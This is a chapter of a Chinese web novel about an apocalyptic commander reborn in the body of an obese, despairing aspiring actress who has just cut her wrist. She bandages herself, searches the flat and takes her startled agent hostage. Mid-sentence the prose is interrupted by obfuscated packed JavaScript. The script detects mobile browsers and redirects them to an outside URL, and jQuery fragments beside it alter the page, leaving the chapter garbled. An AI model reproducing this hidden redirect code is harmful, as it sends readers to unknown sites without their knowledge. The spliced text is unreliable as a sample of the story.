砰——!!!
核爆的巨响炸裂天际,冲天的火光明灭在视线内。
她死了。
搅动灵魂般的极致痛楚,像一把冰冷的钩子,将她从黑暗深处硬生生拖曳出来。
痛!
昏暗的光线下,林末月猛地睁开眼。
她还活着?
低矮的天花板压进视野,一盏老旧的白炽灯散发着苍白刺目的光。冰冷的雨丝携风入窗,带来些许清醒的凉意。
涣散的思绪凝聚。
林末月下意识地抬手,想要按在不断抽痛的额角,下一秒却停在了半空。
她的手,正不受控制地颤抖着,被一种粘稠温热的液体浸染。
血。
刺目的红,正从左腕一道狰狞的伤口不断涌出,在地板瓷砖上洇开一片。
视线扫过,几块玻璃碎片和几粒滚落的药片散在周围。
这里……
这里不是核爆的中心,也不是她预想中与敌人同归于尽的最终废墟。
不待细想,下一秒她的视线便被斜对面,那只剩一半的全身镜所剥夺。
镜子正中,一个巨大的身躯占据了绝对的视野。整个躯干只剩下肥腻,没有一丝的筋骨,更遑论肌肉。单薄的衣衫面料被挤得满满当当,勉强包裹住圆润的肩头,和层层的腰腹。
而这臃肿躯干上顶着的则是一张更为臃肿与颓丧的脸,浓重的黑眼圈被压进眼底,面色苍白带青,发如枯草。不见任何朝气,唯残留着绝望与不堪重负。
空气中凝满死寂!
“严重肥胖,伴有药物性水肿。运动机能......近乎丧失!生存能力:D级。”末日习惯让林末月下意识地评估道。
哪怕再难相信,但事实就在眼前。
她林末月,末日裁决团首席执政官,联盟的最后守门人,没死在最后的大爆炸中,而是重生成了一个完全陌生的,没有任何生存能力的陌生人?!
就在这死寂与沉默几乎要将她吞没时,一阵突兀的、清脆而持续的嗡鸣声,打破了凝固的空气。
林末月浑身一凛,战斗本能让她瞬间收敛了所有外溢的情绪,目光如鹰隼般锐利地扫向声源。
床头柜上,一个巴掌大小,正闪烁着微弱光芒的扁平方块。
通讯器。
虽然形制与她熟悉的任何一款都对不上,但其基本功能不言而喻。在陌生的环境里,未知的通讯意味着潜在的危险。可能是试探,也可能是追捕的信号。
她没有动,铃声在空屋子里显得格外刺耳,一下,两下......她在心内默数着,直到它彻底安静。
危险暂时解除!
她忍着左腕传来的阵阵刺痛和这具身体带来的沉重不适感,挪动到床边,伸手拿起了那个被称为“手机”的通讯器。屏幕因她的动作而亮起,上面显示着数个未接通的符号,以及一条刚刚弹出的简短信息预览。
发送者备注是:奶奶。
指尖划过冰冷的屏幕(得益于末世对各类触控屏的残存记忆,她对此并不完全陌生),解锁后一条条信息记录清晰地展现在眼前。
【末月,奶奶今天感觉好多了,医生用了新药。你别太担心我,照顾好自己。】
【乖孙女,怎么好多天不接电话?是不是工作太累了?】
【奶奶收到了一笔捐助,不多,但够用一阵了。给你转了点钱,你一个人在外,别亏待自己,买点好吃的。】
【末月,看到信息给奶奶回个话,别让奶奶担心……】
一条条,一句句,没有责备,只有小心翼翼的关怀和藏不住的牵挂。
林末月冷冽的神色微缓,下一秒却将手机收了起来。
通讯的另一端可能是真实,也可能是陷阱。不管是什么,在当下没有搞清楚一切之前,贸然回复通讯都是巨大的风险。
在完全陌生的环境下,活下去的第一要义是观察和隐藏,而非贸然行动。
她决定暂时搁置。
将手机轻轻放在一边,她深吸了一口气,略过雨丝的潮湿和血腥的甜锈味。
再次将目光凝聚在这具陌生的D级躯壳上。
左腕的伤口虽深,却巧妙地避开了主要动脉,出血已在减缓。浮肿则是源于药物和代谢停滞,心肺功能虽弱但未见不可逆损伤。
“还能救。”她熟练地判断到。
没有犹豫,视线扫过地上的玻璃碎片,选中最锋利的一片,林末月毫不犹豫地“刺啦”一声从脏污的床单上割下一条相对干净的布料。动作麻利而精准,绕腕、加压、打结,一个牢固有效的临时包扎便在数秒内完成。
稍稍缓了一下有些晕眩的身体,紧接着,林末月便以极高的效率,开始搜寻起了房间。
必须尽快掌握所有的信息,以应对接下去可能会发生的一切变故。
她首先在床脚一个散落的钱包里找到了身份证。当目光触及姓名栏时,她瞳孔微不可查地一缩。
林末月。
同名同姓?是巧合,还是某种无法理解的关联?
按下心内惊疑,她继续手中搜寻动作。
没一会,她便在抽屉里翻出了一本红色封皮的毕业证书,上面显示某所影视学院的表演专业。
以及一张照片……
照片上,站在学院大门前的是一个未发胖前的女孩,瘦弱,娇美,依偎在一个年轻帅气的男孩身旁,两人笑容青涩,关系不言而喻。
原主曾经的模样?以及她在这个世界可能存在的、最紧密的情感链接之一。
林末月思绪微转,随即又将照片放了回去!
紧接着她又打开了桌上的笔记本电脑。屏幕因晃动而亮起,显示着一个未关闭的直播软件界面,标题显示“胖月月的爆笑日常”。
点开这个账号的具体情况,关注量个位数,账号收入为0,然而日均直播时长12小时!
线索逐渐串联:一个影视表演专业毕业的女孩,一个因未知原因严重肥胖,只能以“搞笑博主”身份在网络艰难求存的年轻人,一段似乎已成过去式的恋情,以及一个在医院里惦念着她的奶奶……
基础的社会关系和原主的人生轮廓
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407078|200572||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
被快速勾勒出来。
至于原身的死因,结合现场的情况来看,可以暂时排除他杀。除此之外,是否还有其他原因,有待查证。
她站起身,无视着肌肉的酸沉和关节的滞涩,开始在这狭小的空间里,如同搜寻战略物资一般,冷静而系统地搜寻一切可用的食物。
只是结果令人失望。
除了几个散发着酸腐气味的外卖盒,以及碗里些许已经发硬、明显馊掉的残羹,再无他物。
这就是原主赖以生存的“补给”?
然而,身体的消耗是真实的。一阵强烈的眩晕和胃部的灼痛袭来,这是低血糖和极度饥饿的明确信号。这具躯壳正在发出抗议。
林末月目光冰冷地扫过那碗馊掉的饭菜。在末世,这甚至算不得最糟糕的食物。她伸出手,准备将其作为必要的能量补充。
也在此时,咔哒。
一声极轻微、却清晰无比的锁舌转动声,从门口传来。
有人要进来!
林末月全身的肌肉瞬间绷紧,远超这具身体极限的警觉性让她如同被踩到尾巴的猎豹。所有的饥饿和虚弱感被强行压下,肾上腺素急速分泌。
她几乎是无声地后撤半步,身体重心微微下沉,瞬间占据了门侧视野死角的最佳反击位置。同时,她一直握在手中的那片最锋利的玻璃碎片,已调转方向,尖锐的一端从指缝间探出,化作一柄临时却足以致命的短刃。
她的呼吸变得轻缓绵长,眼神锐利如刀,紧紧锁定着那扇即将开启的门。
无论来的是谁,朋友,敌人,抑或是……“熟人”,她都必须在第一时间掌控局面。
门,被缓缓推开了。
“林末月,你给老娘,滚——”
“出来~”
一道尖锐的中年女声像是被掐了脖子的尖叫鸡一般,生生夹断。
“砰!”
大门被巨大的力道摔在墙上,此刻伴着这变调的女声,只留下“嘎吱”的轻微晃荡声。
场面从极致的聒噪转为僵冷!
就如此刻经纪人周红的身体。
她瞪大着双眼,瞳孔因惊骇而紧缩,感觉有一把尖冷的“匕首”正紧紧压在自己脖子的大动脉上,那冰冷的触感让她浑身的血液都冻住了。眼前的地面,是碎裂的玻璃片、滚落的药丸,以及一滩尚未完全凝固的、暗沉发黑的血迹,刺目的红蜿蜒在地砖上,犹如凶杀案现场。
一个从未设想过的猜想如同冰锥般刺入她的脑海:有人入室抢劫杀了林末月!结果歹徒还没走,这个时候她好死不死的出现了,然后……她被挟持了!
这是什么狗血发展,现实可不是影视剧啊……
周红思绪乱飞,肾上腺素飙升,腿肚子都在打颤,这一刻她连自己上个月忘交的物业费都想起来了。
直到——
“咕噜噜……”
一阵极其响亮、源于肠胃剧烈蠕动的饥饿鸣响,从身后紧贴着她的人身上传来。在这落针可闻的死寂里,显得格外清晰,甚至带着点空洞的回响。
周红:???